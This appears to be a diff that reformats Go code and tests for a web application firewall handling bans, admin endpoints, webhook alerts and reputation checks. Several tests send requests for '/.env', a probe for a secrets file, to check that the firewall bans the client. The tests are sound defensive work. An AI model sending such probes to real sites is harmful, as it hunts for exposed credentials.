+	endpoint, err := (&net.ListenConfig{}).Listen(t.Context(), "tcp", localhost+":0")
-		t.Context(),
-		"tcp",
-		localhost+":0",
-	)
 	if err != nil {
 		t.Fatalf("listen: %v", err)
 	}
@@ -1075,8 +1009,7 @@ func TestStalledRemoteLogEndpointHoldsUpNoRequest(t *testing.T) {
 
 		const dropped = "\nsww_remote_log_lines_dropped_total" +
 			`{instance="fsn1app1/blog"} `
-		if strings.Contains(metrics, dropped+"0\n") ||
+		if strings.Contains(metrics, dropped+"0\n") || !strings.Contains(metrics, dropped) {
-			!strings.Contains(metrics, dropped) {
 			t.Errorf("no line dropped in the metrics:\n%s", metrics)
 		}
 
@@ -1102,11 +1035,7 @@ func TestStalledRemoteLogEndpointHoldsUpNoRequest(t *testing.T) {
 	// too.
 	line := out.line(t, "msg", "starting")
 	if line["instance"] != instance {
-		t.Errorf(
+		t.Errorf("start logged with instance %v, want %s", line["instance"], instance)
-			"start logged with instance %v, want %s",
-			line["instance"],
-			instance,
-		)
 	}
 }
 
@@ -1137,14 +1066,10 @@ func TestBanIsAlertedAndAnAlertNotSentIsKeptAcrossARestart(t *testing.T) {
 		wantRefused(t, url+".env")
 
 		post := webhook.waitFor(t, "ban", true)
-		if post.alert["client"] != localhost ||
+		if post.alert["client"] != localhost || post.alert["netblock"] != localhost+"/32" ||
-			post.alert["netblock"] != localhost+"/32" ||
 			post.authorization != "Bearer "+adminSecret {
-			t.Errorf(
+			t.Errorf("the webhook was sent %v, with Authorization %q", post.alert,
-				"the webhook was sent %v, with Authorization %q",
+				post.authorization)
-				post.alert,
-				post.authorization,
-			)
 		}
 
 		// The webhook fails, so the alert for the ban made permanent by the
@@ -1156,7 +1081,24 @@ func TestBanIsAlertedAndAnAlertNotSentIsKeptAcrossARestart(t *testing.T) {
 
 	// alerts.json keeps it as sww stops, and once started again,
 	// sww sends it.
-	wantPermanentBanAlertWaiting(t, dir)
+	var file struct {
+		Waiting map[string][]struct {
+			Event string `json:"event"`
+		} `json:"waiting"`
+	}
+
+	path := filepath.Join(dir, "alerts.json")
+
+	data, err := os.ReadFile(path) //nolint:gosec // a file in the test's directory
+	if err == nil {
+		err = json.Unmarshal(data, &file)
+	}
+
+	waiting := file.Waiting["webhook"]
+	if err != nil || len(waiting) != 1 || waiting[0].Event != "permanent_ban" {
+		t.Fatalf("alerts.json holds %s (%v), want the permanent_ban alert waiting for "+
+			"the webhook", data, err)
+	}
 
 	// It counts the alert sent in the metrics, read here from a client the
 	// ban does not cover.
@@ -1188,37 +1130,6 @@ func TestBanIsAlertedAndAnAlertNotSentIsKeptAcrossARestart(t *testing.T) {
 	})
 }
 
-// wantPermanentBanAlertWaiting checks that alerts.json in dir holds one
-// alert waiting for the webhook, the permanent_ban alert.
-func wantPermanentBanAlertWaiting(t *testing.T, dir string) {
-	t.Helper()
-
-	var file struct {
-		Waiting map[string][]struct {
-			Event string `json:"event"`
-		} `json:"waiting"`
-	}
-
-	path := filepath.Join(dir, "alerts.json")
-
-	//nolint:gosec // a file in the test's directory
-	data, err := os.ReadFile(path)
-	if err == nil {
-		err = json.Unmarshal(data, &file)
-	}
-
-	waiting := file.Waiting["webhook"]
-	if err != nil || len(waiting) != 1 ||
-		waiting[0].Event != "permanent_ban" {
-		t.Fatalf(
-			"alerts.json holds %s (%v), want the permanent_ban alert waiting for "+
-				"the webhook",
-			data,
-			err,
-		)
-	}
-}
-
 func TestBanIsAlertedToSlackAndNtfy(t *testing.T) {
 	t.Parallel()
 
@@ -1256,8 +1167,7 @@ func TestBanIsAlertedToSlackAndNtfy(t *testing.T) {
 		slackPost := slack.firstPost(t)
 		err := json.Unmarshal([]byte(slackPost.body), &message)
 
-		if err != nil ||
+		if err != nil || !strings.HasPrefix(message.Text, "*fsn1app1/blog: ban*\n") ||
-			!strings.HasPrefix(message.Text, "*fsn1app1/blog: ban*\n") ||
 			!strings.Contains(message.Text, "\nclient: "+client+"\n") {
 			t.Errorf("Slack was sent %s", slackPost.body)
 		}
@@ -1292,22 +1202,14 @@ func TestStateFileThatDoesNotParseStopsTheStart(t *testing.T) {
 
 	dir := t.TempDir()
 
-	err := os.WriteFile(
+	err := os.WriteFile(filepath.Join(dir, "bans.json"), []byte("{\n"), 0o600)
-		filepath.Join(dir, "bans.json"),
-		[]byte("{\n"),
-		0o600,
-	)
 	if err != nil {
 		t.Fatalf("write bans.json: %v", err)
 	}
 
 	// The file ends at the newline that is the second byte of its first
 	// line.
-	wantStartRefused(
+	wantStartRefused(t, dir, filepath.Join(dir, "bans.json")+", line 1, column 2: ")
-		t,
-		dir,
-		filepath.Join(dir, "bans.json")+", line 1, column 2: ",
-	)
 }
 
 func TestUnwritableStateDirStopsTheStart(t *testing.T) {
@@ -1362,11 +1264,7 @@ func wantStartRefused(t *testing.T, dir, want string) {
 	message, _ := line["error"].(string)
 
 	if !strings.HasPrefix(message, want) {
-		t.Errorf(
+		t.Errorf("start refused with %q, want an error starting %q", message, want)
-			"start refused with %q, want an error starting %q",
-			message,
-			want,
-		)
 	}
 }
 
@@ -1431,11 +1329,7 @@ func runUntilStopped(
 	select {
 	case status := <-exited:
 		if status != 0 {
-			t.Fatalf(
+			t.Fatalf("exit status %d, want 0; output:\n%s", status, out.text())
-				"exit status %d, want 0; output:\n%s",
-				status,
-				out.text(),
-			)
 		}
 	case <-time.After(waitLimit):
 		t.Fatal("still running after being told to stop")
@@ -1477,12 +1371,7 @@ func wantStartingLine(t *testing.T, line map[string]any, dir string) {
 
 	for name, value := range want {
 		if settings[name] != value {
-			t.Errorf(
+			t.Errorf("starting line gives %s=%v, want %v", name, settings[name], value)
-				"starting line gives %s=%v, want %v",
-				name,
-				settings[name],
-				value,
-			)
 		}
 	}
 
@@ -1522,11 +1411,7 @@ func messages(t *testing.T, received string) []string {
 
 		_, message, ok := strings.Cut(record, header)
 		if !ok || !strings.HasPrefix(record, "<134>1 ") {
-			t.Fatalf(
+			t.Fatalf("record %q, want priority <134> and header %q", record, header)
-				"record %q, want priority <134> and header %q",
-				record,
-				header,
-			)
 		}
 
 		found = append(found, message+"\n")
@@ -1591,10 +1476,7 @@ func seriesValue(t *testing.T, metrics, series string) float64 {
 	t.Helper()
 
 	for line := range strings.Lines(metrics) {
-		value, found := strings.CutPrefix(
+		value, found := strings.CutPrefix(strings.TrimSpace(line), series+" ")
-			strings.TrimSpace(line),
-			series+" ",
-		)
 		if !found {
 			continue
 		}
@@ -1628,11 +1510,7 @@ func writeLookupDatabase(t *testing.T, path, country string) {
 	t.Helper()
 
 	lookuptest.Write(t, path, map[string]lookuptest.Network{
-		placed + "/32": {
+		placed + "/32": {ASN: "AS64496", ASName: "Example Net", Country: country},
-			ASN:     "AS64496",
-			ASName:  "Example Net",
-			Country: country,
-		},
 	})
 }
 
@@ -1670,8 +1548,7 @@ func onlyBan(t *testing.T, dir string) map[string]any {
 
 	path := filepath.Join(dir, "bans.json")
 
-	//nolint:gosec // a file in the test's directory
+	data, err := os.ReadFile(path) //nolint:gosec // a file in the test's directory
-	data, err := os.ReadFile(path)
 	if err != nil {
 		t.Fatalf("read bans.json: %v", err)
 	}
@@ -1713,11 +1590,7 @@ func wantStatus(t *testing.T, url, from string, status int) {
 // request, since sww may not watch its directory yet when it is
 // first written. It waits as long as that takes, so that a slow test
 // process cannot fail the test.
-func saveUntilAnswered(
+func saveUntilAnswered(t *testing.T, path, content, url, from string, status int) {
-	t *testing.T,
-	path, content, url, from string,
-	status int,
-) {
 	t.Helper()
 
 	for {
@@ -1849,11 +1722,7 @@ func startWebhook(t *testing.T) *webhook {
 // waitFor waits until the webhook has been sent an alert for event that
 // it took, or, unless answered, failed, and returns it. It waits as long
 // as that takes, so that a slow test process cannot fail the test.
-func (w *webhook) waitFor(
+func (w *webhook) waitFor(t *testing.T, event string, answered bool) webhookPost {
-	t *testing.T,
-	event string,
-	answered bool,
-) webhookPost {
 	t.Helper()
 
 	for {

internal/sww/waf_test.go

@@ -14,7 +14,6 @@ import (
 	"syscall"
 	"testing"
 	"time"
-
 	// The time zone database, so that the process TestMainRunsWAF starts
 	// finds the zone TZ names on any host.
 	_ "time/tzdata"
@@ -86,8 +85,7 @@ func TestMainRunsWAF(t *testing.T) {
 
 	dir := t.TempDir()
 	out := &output{}
-	//nolint:gosec // this test binary
+	cmd := exec.CommandContext(t.Context(), binary) //nolint:gosec // this test binary
-	cmd := exec.CommandContext(t.Context(), binary)
 	cmd.Stdout = out
 
 	cmd.Env = append(os.Environ(),
@@ -114,11 +112,7 @@ func TestMainRunsWAF(t *testing.T) {
 	select {
 	case status := <-exited:
 		if status != 0 {
-			t.Fatalf(
+			t.Fatalf("exit status %d, want 0; output:\n%s", status, out.text())
-				"exit status %d, want 0; output:\n%s",
-				status,
-				out.text(),
-			)
 		}
 	case <-time.After(waitLimit):
 		t.Fatal("still running after being told to stop")
@@ -129,8 +123,7 @@ func TestMainRunsWAF(t *testing.T) {
 
 	path := filepath.Join(dir, "clients.json")
 
-	//nolint:gosec // a file in the test's directory
+	clients, err := os.ReadFile(path) //nolint:gosec // a file in the test's directory
-	clients, err := os.ReadFile(path)
 	if err != nil {
 		t.Fatalf("read clients.json: %v", err)
 	}
@@ -188,11 +181,7 @@ func TestMainWithoutACommandItKnowsPrintsTheCommands(t *testing.T) {
 
 			for _, name := range []string{"rproxy", wafCommand, "healthcheck"} {
 				if !strings.Contains(stderr.String(), name) {
-					t.Errorf(
+					t.Errorf("stderr %q does not name %s", stderr.String(), name)
-						"stderr %q does not name %s",
-						stderr.String(),
-						name,
-					)
 				}
 			}
 
@@ -230,13 +219,8 @@ func ask(t *testing.T, addr, path string, status int, disposition string) {
 
 	if res.StatusCode != status ||
 		res.Header.Get(waf.DispositionHeader) != disposition {
-		t.Errorf(
+		t.Errorf("answered %d with disposition %q, want %d with %q", res.StatusCode,
-			"answered %d with disposition %q, want %d with %q",
+			res.Header.Get(waf.DispositionHeader), status, disposition)
-			res.StatusCode,
-			res.Header.Get(waf.DispositionHeader),
-			status,
-			disposition,
-		)
 	}
 }
 
@@ -261,11 +245,7 @@ func runWAF(t *testing.T, env map[string]string, use func(addr string)) {
 	select {
 	case status := <-exited:
 		if status != 0 {
-			t.Fatalf(
+			t.Fatalf("exit status %d, want 0; output:\n%s", status, out.text())
-				"exit status %d, want 0; output:\n%s",
-				status,
-				out.text(),
-			)
 		}
 	case <-time.After(waitLimit):
 		t.Fatal("still running after being told to stop")

internal/waf/abuseipdb.go

@@ -26,11 +26,7 @@ type abuseIPDB struct{}
 
 func (abuseIPDB) name() string { return "abuseipdb" }
 
-func (abuseIPDB) check(
+func (abuseIPDB) check(ctx context.Context, rq *request, _ time.Time) *verdict {
-	ctx context.Context,
-	rq *request,
-	_ time.Time,
-) *verdict {
 	if rq.h.config.AbuseIPDBKey == "" {
 		return nil
 	}
@@ -46,13 +42,8 @@ func (abuseIPDB) check(
 
 	rq.abuseIPDBHit = true
 	rq.addTag(config.AbuseIPDBTag)
-	rq.noteHit(
+	rq.noteHit(bans.ReputationHit{Source: reputation.AbuseIPDBSource, Score: &score},
-		bans.ReputationHit{
+		"scored by AbuseIPDB at or over SWW_ABUSEIPDB_MIN_SCORE")
-			Source: reputation.AbuseIPDBSource,
-			Score:  &score,
-		},
-		"scored by AbuseIPDB at or over SWW_ABUSEIPDB_MIN_SCORE",
-	)
 
 	if rq.h.config.ReputationAction != deny {
 		return nil

internal/waf/admin.go

@@ -31,8 +31,7 @@ var (
 	errNotBanToAdd = errors.New(
 		"the body is not a JSON object of netblock, duration and reason")
 	errNotNetblock = errors.New(
-		"is not an address or a netblock, such as 203.0.113.9 or 203.0.113.0/24",
+		"is not an address or a netblock, such as 203.0.113.9 or 203.0.113.0/24")
-	)
 	errMappedNetblock = errors.New(
 		"is IPv4-mapped: give the IPv4 netblock, such as 203.0.113.0/24")
 	errZone        = errors.New("has a zone, which a netblock cannot have")
@@ -62,18 +61,10 @@ func (rq *request) answerAdmin() {
 
 	switch {
 	case token == "":
-		http.Error(
+		http.Error(rq.out, http.StatusText(http.StatusNotFound), http.StatusNotFound)
-			rq.out,
-			http.StatusText(http.StatusNotFound),
-			http.StatusNotFound,
-		)
 	case !hasToken(rq.in, token):
 		rq.out.Header().Set("WWW-Authenticate", "Bearer")
-		http.Error(
+		http.Error(rq.out, http.StatusText(http.StatusUnauthorized), http.StatusUnauthorized)
-			rq.out,
-			http.StatusText(http.StatusUnauthorized),
-			http.StatusUnauthorized,
-		)
 	default:
 		answer()
 	}
@@ -159,9 +150,7 @@ func (rq *request) addBan() {
 // readBanToAdd reads the body of POST BansPath: a JSON object with
 // nothing but whitespace after it, in at most banBodyMaxBytes.
 func (rq *request) readBanToAdd() (banToAdd, error) {
-	data, err := io.ReadAll(
+	data, err := io.ReadAll(http.MaxBytesReader(nil, rq.in.Body, banBodyMaxBytes))
-		http.MaxBytesReader(nil, rq.in.Body, banBodyMaxBytes),
-	)
 	rq.requestBytes = int64(len(data))
 
 	if err != nil {
@@ -181,10 +170,7 @@ func (rq *request) readBanToAdd() (banToAdd, error) {
 	// Token returns io.EOF only when nothing but whitespace is left.
 	_, err = decoder.Token()
 	if !errors.Is(err, io.EOF) {
-		return banToAdd{}, fmt.Errorf(
+		return banToAdd{}, fmt.Errorf("%w: more follows the object", errNotBanToAdd)
-			"%w: more follows the object",
-			errNotBanToAdd,
-		)
 	}
 
 	return toAdd, nil
@@ -199,11 +185,7 @@ func (h *handler) banNetblock(value string) (netip.Prefix, error) {
 	netblock, err := netip.ParsePrefix(value)
 	if err == nil {
 		if netblock.Addr().Is4In6() {
-			return netip.Prefix{}, fmt.Errorf(
+			return netip.Prefix{}, fmt.Errorf("netblock %q %w", value, errMappedNetblock)
-				"netblock %q %w",
-				value,
-				errMappedNetblock,
-			)
 		}
 
 		return netblock, nil
@@ -213,11 +195,7 @@ func (h *handler) banNetblock(value string) (netip.Prefix, error) {
 	// 2001:db8::1%x/48 as part of the zone.
 	addr, err := netip.ParseAddr(value)
 	if err != nil {
-		return netip.Prefix{}, fmt.Errorf(
+		return netip.Prefix{}, fmt.Errorf("netblock %q %w", value, errNotNetblock)
-			"netblock %q %w",
-			value,
-			errNotNetblock,
-		)
 	}
 
 	if addr.Zone() != "" {
@@ -236,11 +214,7 @@ func expiry(duration string, now time.Time) (time.Time, error) {
 
 	length, err := config.ParseDurationNotOff(duration)
 	if err != nil {
-		return time.Time{}, fmt.Errorf(
+		return time.Time{}, fmt.Errorf("duration %q %w", duration, errNotDuration)
-			"duration %q %w",
-			duration,
-			errNotDuration,
-		)
 	}
 
 	return now.Add(length), nil
@@ -259,11 +233,7 @@ func (rq *request) liftBans() {
 
 	lifted := rq.h.ledger.Lift(client, rq.h.now())
 	if len(lifted) == 0 {
-		http.Error(
+		http.Error(rq.out, "no ban is active on "+client.String(), http.StatusNotFound)
-			rq.out,
-			"no ban is active on "+client.String(),
-			http.StatusNotFound,
-		)
 
 		return
 	}
@@ -291,9 +261,7 @@ func (rq *request) showClient() {
 		return
 	}
 
-	answer := clientAnswer{
+	answer := clientAnswer{Bans: state.BanEntries(rq.h.ledger.Covering(addr))}
-		Bans: state.BanEntries(rq.h.ledger.Covering(addr)),
-	}
 
 	client, seen := rq.h.limiter.Client(rq.h.clientGroup(addr))
 	if seen {
@@ -326,11 +294,7 @@ func (rq *request) answerBans(held []bans.Ban) {
 func (rq *request) answerJSON(value any) {
 	body, err := json.MarshalIndent(value, "", "    ")
 	if err != nil {
-		rq.h.processLog.Error(
+		rq.h.processLog.Error("encoding an answer failed", "error", err.Error())
-			"encoding an answer failed",
-			"error",
-			err.Error(),
-		)
 		http.Error(rq.out, http.StatusText(http.StatusInternalServerError),
 			http.StatusInternalServerError)
 

internal/waf/admin_test.go

@@ -32,37 +32,20 @@ func TestAdminEndpointsAreOffWhileTheTokenIsUnset(t *testing.T) {
 	t.Parallel()
 
 	// The metrics token is set, and opens none of them.
-	s, clk, server := startWithClock(
+	s, clk, server := startWithClock(t, "", map[string]string{metricsToken: token})
-		t,
+	server.Ledger.BanForLimit(netip.MustParsePrefix(otherClient+"/32"), clk.Now(),
-		"",
+		bans.Notes{})
-		map[string]string{metricsToken: token},
-	)
-	server.Ledger.BanForLimit(
-		netip.MustParsePrefix(otherClient+"/32"),
-		clk.Now(),
-		bans.Notes{},
-	)
 	before := server.Ledger.Snapshot()
 
 	// An empty token does not match the unset one either.
 	for _, authorization := range []string{adminBearer, bearer, "Bearer ", ""} {
 		for _, e := range adminEndpoints() {
-			s.ownEndpointRequest(
+			s.ownEndpointRequest(authorization, e.method, e.path, e.body, http.StatusNotFound)
-				authorization,
-				e.method,
-				e.path,
-				e.body,
-				http.StatusNotFound,
-			)
 		}
 	}
 
 	if after := server.Ledger.Snapshot(); !reflect.DeepEqual(after, before) {
-		t.Errorf(
+		t.Errorf("the bans are now\n%+v\nwant them unchanged\n%+v", after, before)
-			"the bans are now\n%+v\nwant them unchanged\n%+v",
-			after,
-			before,
-		)
 	}
 }
 
@@ -84,44 +67,22 @@ func TestAdminEndpointsNeedTheAdminToken(t *testing.T) {
 		for _, authorization := range []string{
 			"", bearer, "Bearer " + strings.ToUpper(adminSecret), "Basic " + adminSecret,
 		} {
-			got := s.ownEndpointRequest(
+			got := s.ownEndpointRequest(authorization, e.method, e.path, e.body,
-				authorization,
+				http.StatusUnauthorized)
-				e.method,
-				e.path,
-				e.body,
-				http.StatusUnauthorized,
-			)
 			if got.header.Get("WWW-Authenticate") != "Bearer" {
-				t.Errorf(
+				t.Errorf("%s %s with %q was answered without WWW-Authenticate: Bearer",
-					"%s %s with %q was answered without WWW-Authenticate: Bearer",
+					e.method, e.path, authorization)
-					e.method,
-					e.path,
-					authorization,
-				)
 			}
 		}
 
-		if after := server.Ledger.Snapshot(); !reflect.DeepEqual(
+		if after := server.Ledger.Snapshot(); !reflect.DeepEqual(after, before) {
-			after,
+			t.Errorf("%s %s without the token changed the bans to\n%+v\nfrom\n%+v",
-			before,
+				e.method, e.path, after, before)
-		) {
-			t.Errorf(
-				"%s %s without the token changed the bans to\n%+v\nfrom\n%+v",
-				e.method,
-				e.path,
-				after,
-				before,
-			)
 		}
 
 		got := s.admin(e.method, e.path, e.body, http.StatusOK)
 		if got.header.Get("Content-Type") != "application/json" {
-			t.Errorf(
+			t.Errorf("%s %s answered %q", e.method, e.path, got.header.Get("Content-Type"))
-				"%s %s answered %q",
-				e.method,
-				e.path,
-				got.header.Get("Content-Type"),
-			)
 		}
 	}
 
@@ -160,11 +121,7 @@ func TestBanAddedListedAndLiftedThroughTheEndpoints(t *testing.T) {
 	wantBans(t, s.admin(http.MethodPost, waf.BansPath, banOtherClient,
 		http.StatusOK), want)
 
-	line := s.get(
+	line := s.get(client, http.StatusForbidden, requestlog.ActionTemporarilyBanned)
-		client,
-		http.StatusForbidden,
-		requestlog.ActionTemporarilyBanned,
-	)
 	if line.BanExpires != requestlog.FormatTime(expires) {
 		t.Errorf("the ban ends at %s, want %s", line.BanExpires, expires)
 	}
@@ -172,11 +129,7 @@ func TestBanAddedListedAndLiftedThroughTheEndpoints(t *testing.T) {
 	// Its notes count the request it refused.
 	want.Notes.Requests, want.Notes.Refused = 1, 1
 
-	wantBans(
+	wantBans(t, s.admin(http.MethodGet, waf.BansPath, "", http.StatusOK), want)
-		t,
-		s.admin(http.MethodGet, waf.BansPath, "", http.StatusOK),
-		want,
-	)
 
 	// Ten minutes on, lifting the bans on client lifts that one, which is
 	// kept, marked lifted.
@@ -188,19 +141,10 @@ func TestBanAddedListedAndLiftedThroughTheEndpoints(t *testing.T) {
 	wantBans(t, s.admin(http.MethodDelete, waf.BansPath+"/"+client, "",
 		http.StatusOK), want)
 	s.get(client, http.StatusOK, requestlog.ActionForward)
-	wantBans(
+	wantBans(t, s.admin(http.MethodGet, waf.BansPath, "", http.StatusOK), want)
-		t,
-		s.admin(http.MethodGet, waf.BansPath, "", http.StatusOK),
-		want,
-	)
 
 	// No ban on it is active any more.
-	s.admin(
+	s.admin(http.MethodDelete, waf.BansPath+"/"+client, "", http.StatusNotFound)
-		http.MethodDelete,
-		waf.BansPath+"/"+client,
-		"",
-		http.StatusNotFound,
-	)
 }
 
 func TestBanToAddGivesItsNetblockAndDuration(t *testing.T) {
@@ -229,9 +173,7 @@ func TestBanToAddGivesItsNetblockAndDuration(t *testing.T) {
 		body := `{"netblock": "` + tc.netblock + `", "duration": "` + tc.duration + `"}` +
 			"\r\n"
 		want := state.BanEntry{
-			Netblock: netip.MustParsePrefix(
+			Netblock: netip.MustParsePrefix(tc.want), Start: start, Cause: bans.CauseAdmin,
-				tc.want,
-			), Start: start, Cause: bans.CauseAdmin,
 		}
 
 		if tc.length != 0 {
@@ -239,22 +181,15 @@ func TestBanToAddGivesItsNetblockAndDuration(t *testing.T) {
 			want.Expires = &expires
 		}
 
-		wantBans(
+		wantBans(t, s.admin(http.MethodPost, waf.BansPath, body, http.StatusOK),
-			t,
+			want)
-			s.admin(http.MethodPost, waf.BansPath, body, http.StatusOK),
-			want,
-		)
 	}
 }
 
 func TestBanToAddThatCannotBeReadIsRefused(t *testing.T) {
 	t.Parallel()
 
-	s, _, server := startWithClock(
+	s, _, server := startWithClock(t, "", map[string]string{adminToken: adminSecret})
-		t,
-		"",
-		map[string]string{adminToken: adminSecret},
-	)
 
 	for _, tc := range []struct{ body, want string }{
 		{"", "the body is not a JSON object of netblock, duration and reason: EOF"},
@@ -319,12 +254,7 @@ func TestBanToAddThatCannotBeReadIsRefused(t *testing.T) {
 		got := s.admin(http.MethodPost, waf.BansPath, tc.body,
 			http.StatusBadRequest)
 		if !strings.Contains(string(got.body), tc.want) {
-			t.Errorf(
+			t.Errorf("%.80s was answered %q, want it to say %q", tc.body, got.body, tc.want)
-				"%.80s was answered %q, want it to say %q",
-				tc.body,
-				got.body,
-				tc.want,
-			)
 		}
 	}
 
@@ -346,11 +276,7 @@ func TestClientEndpointShowsTheClientAndItsBans(t *testing.T) {
 	// limit of two a minute, and bans it.
 	s.get(otherClient, http.StatusOK, requestlog.ActionForward)
 	s.get(otherClient, http.StatusOK, requestlog.ActionForward)
-	s.get(
+	s.get(otherClient, http.StatusForbidden, requestlog.ActionClientIsRateLimited)
-		otherClient,
-		http.StatusForbidden,
-		requestlog.ActionClientIsRateLimited,
-	)
 
 	// Asked about by its address in IPv6 form too.
 	for _, addr := range []string{otherClient, "::ffff:" + otherClient} {
@@ -376,11 +302,7 @@ func TestClientEndpointShowsTheClientAndItsBans(t *testing.T) {
 		if len(got.Bans) != 1 || got.Bans[0].Cause != bans.CauseLimit ||
 			got.Bans[0].Reason != "requests per minute over the limit of 2" ||
 			got.Bans[0].Notes.Count != 3 {
-			t.Errorf(
+			t.Errorf("%s: bans %+v, want the one for the broken limit", addr, got.Bans)
-				"%s: bans %+v, want the one for the broken limit",
-				addr,
-				got.Bans,
-			)
 		}
 	}
 
@@ -388,9 +310,7 @@ func TestClientEndpointShowsTheClientAndItsBans(t *testing.T) {
 	// known.
 	got := s.admin(http.MethodGet, waf.ClientsPath+"198.51.100.99", "",
 		http.StatusOK)
-	if string(
+	if string(got.body) != "{\n    \"client\": null,\n    \"bans\": []\n}\n" {
-		got.body,
-	) != "{\n    \"client\": null,\n    \"bans\": []\n}\n" {
 		t.Errorf("an unknown client is answered\n%s", got.body)
 	}
 
@@ -409,13 +329,7 @@ func TestAdminEndpointsNeedTheTokenInObserveMode(t *testing.T) {
 	})
 
 	for _, e := range adminEndpoints() {
-		s.ownEndpointRequest(
+		s.ownEndpointRequest("", e.method, e.path, e.body, http.StatusUnauthorized)
-			"",
-			e.method,
-			e.path,
-			e.body,
-			http.StatusUnauthorized,
-		)
 	}
 
 	if held := server.Ledger.Snapshot(); len(held) != 0 {

internal/waf/alerts_test.go

@@ -46,10 +46,7 @@ func TestBanForABrokenLimitRaisesABanAlertWithItsNotes(t *testing.T) {
 	}, requestlog.FormatTime(start.Add(time.Hour))))
 
 	if ban.Notes.Limit != 1 || ban.Notes.Request.Path != "/" {
-		t.Errorf(
+		t.Errorf("the alert's notes are %+v, want those of the broken limit", ban.Notes)
-			"the alert's notes are %+v, want those of the broken limit",
-			ban.Notes,
-		)
 	}
 }
 
@@ -65,12 +62,7 @@ func TestAttackBanRaisesABanAlertThenAPermanentBanAlert(t *testing.T) {
 
 	// The probe bans the client for seven days, and its next request makes
 	// the ban permanent. The request after that changes nothing.
-	s.request(
+	s.request(client, "/.env", http.StatusForbidden, requestlog.ActionTemporarilyBanned)
-		client,
-		"/.env",
-		http.StatusForbidden,
-		requestlog.ActionTemporarilyBanned,
-	)
 
 	attackBan := server.Ledger.Bans(netblock)[0]
 
@@ -91,27 +83,15 @@ func TestAttackBanRaisesABanAlertThenAPermanentBanAlert(t *testing.T) {
 
 	otherBans := server.Ledger.Bans(other)
 
-	wantAlerts(
+	wantAlerts(t, queue,
-		t,
-		queue,
 		attackAlert(alerts.EventBan, start, client, attackBan,
 			requestlog.FormatTime(start.Add(7*24*time.Hour))),
 		attackAlert(alerts.EventPermanentBan, start.Add(time.Minute), client,
 			permanentBan, "permanent"),
-		attackAlert(
+		attackAlert(alerts.EventBan, start.Add(time.Minute), otherClient, otherBans[0],
-			alerts.EventBan,
+			requestlog.FormatTime(start.Add(time.Minute+7*24*time.Hour))),
-			start.Add(time.Minute),
+		attackAlert(alerts.EventPermanentBan, start.Add(time.Minute+7*24*time.Hour),
-			otherClient,
+			otherClient, otherBans[1], "permanent"),
-			otherBans[0],
-			requestlog.FormatTime(start.Add(time.Minute+7*24*time.Hour)),
-		),
-		attackAlert(
-			alerts.EventPermanentBan,
-			start.Add(time.Minute+7*24*time.Hour),
-			otherClient,
-			otherBans[1],
-			"permanent",
-		),
 	)
 }
 
@@ -128,11 +108,7 @@ func TestObserveModeRaisesTheBanAlertsItWouldHave(t *testing.T) {
 	// A ban for a clear sign of attack, which a request under it would make
 	// permanent.
 	group := netip.MustParsePrefix(ipv6Group)
-	attackBan, _ := server.Ledger.BanForAttack(
+	attackBan, _ := server.Ledger.BanForAttack(group, start, bans.Notes{RuleID: "probe"})
-		group,
-		start,
-		bans.Notes{RuleID: "probe"},
-	)
 
 	// The third request breaks the limit, and so does the fourth, within the
 	// cooldown, which raises nothing. The probe is a clear sign of attack.
@@ -147,12 +123,8 @@ func TestObserveModeRaisesTheBanAlertsItWouldHave(t *testing.T) {
 	held := server.Ledger.Snapshot()
 	if len(held) != 1 || !reflect.DeepEqual(held[0], attackBan) ||
 		line.BanExpires != requestlog.FormatTime(attackBan.Expires) {
-		t.Errorf(
+		t.Errorf("the ledger holds %+v, and the log line gives %s, want the ban "+
-			"the ledger holds %+v, and the log line gives %s, want the ban "+
+			"for the attack alone, as it was", held, line.BanExpires)
-				"for the attack alone, as it was",
-			held,
-			line.BanExpires,
-		)
 	}
 
 	waiting := queue.Snapshot().Waiting[alerts.DestinationWebhook]
@@ -166,35 +138,21 @@ func TestObserveModeRaisesTheBanAlertsItWouldHave(t *testing.T) {
 
 	if limitNotes.Limit != 2 || limitNotes.Request.Path != "/" ||
 		attackNotes.Request.Path != "/.env" {
-		t.Errorf(
+		t.Errorf("the notes are %+v and %+v, want those of the broken limit and "+
-			"the notes are %+v and %+v, want those of the broken limit and "+
+			"of the probe", limitNotes, attackNotes)
-				"of the probe",
-			limitNotes,
-			attackNotes,
-		)
 	}
 
 	// Each alert is the one enforce mode would have raised, with mode
 	// observe in its detail.
 	want := []alerts.Alert{
 		banAlert(alerts.EventBan, start, client, bans.Ban{
-			Netblock: netip.MustParsePrefix(
+			Netblock: netip.MustParsePrefix(client + "/32"), Cause: bans.CauseLimit,
-				client + "/32",
-			), Cause: bans.CauseLimit,
 			Reason: "requests per minute over the limit of 2", Notes: limitNotes,
 		}, requestlog.FormatTime(start.Add(time.Hour))),
 		attackAlert(alerts.EventBan, start, otherClient, bans.Ban{
-			Netblock: netip.MustParsePrefix(
+			Netblock: netip.MustParsePrefix(otherClient + "/32"), Notes: attackNotes,
-				otherClient + "/32",
-			), Notes: attackNotes,
 		}, requestlog.FormatTime(start.Add(7*24*time.Hour))),
-		attackAlert(
+		attackAlert(alerts.EventPermanentBan, start, ipv6Client, attackBan, permanent),
-			alerts.EventPermanentBan,
-			start,
-			ipv6Client,
-			attackBan,
-			permanent,
-		),
 	}
 	for _, alert := range want {
 		alert.Detail["mode"] = observe
@@ -222,12 +180,7 @@ func TestObserveModeWorksOutABanOnlyWhenItsAlertWouldBeSent(t *testing.T) {
 	// The other client's first probe raises the second. Its second probe is
 	// within the cooldown.
 	for range 2 {
-		s.request(
+		s.request(otherClient, "/.env", http.StatusOK, requestlog.ActionForward)
-			otherClient,
-			"/.env",
-			http.StatusOK,
-			requestlog.ActionForward,
-		)
 	}
 
 	// The IPv6 client's third request breaks the limit past the two alerts
@@ -253,11 +206,7 @@ func startWithAlerts(
 ) (*sender, *clock, *waf.Server, *alerts.Queue) {
 	t.Helper()
 
-	return startAppWithAlerts(
+	return startAppWithAlerts(t, func(http.ResponseWriter, *http.Request) {}, env)
-		t,
-		func(http.ResponseWriter, *http.Request) {},
-		env,
-	)
 }
 
 // startAppWithAlerts is startWithAlerts in front of the app handler.
@@ -275,13 +224,7 @@ func startAppWithAlerts(
 	}
 	maps.Copy(settings, env)
 
-	addr, out, server, queue := startProxyWithAlerts(
+	addr, out, server, queue := startProxyWithAlerts(t, app.URL, "", clk.Now, settings)
-		t,
-		app.URL,
-		"",
-		clk.Now,
-		settings,
-	)
 
 	s := &sender{t: t, addr: addr, wafAddr: server.Addr, out: out}
 
@@ -292,11 +235,7 @@ func startAppWithAlerts(
 // the time raised, for ban, with its netblock, cause, reason and notes,
 // which ends at expires, as the log line gives it.
 func banAlert(
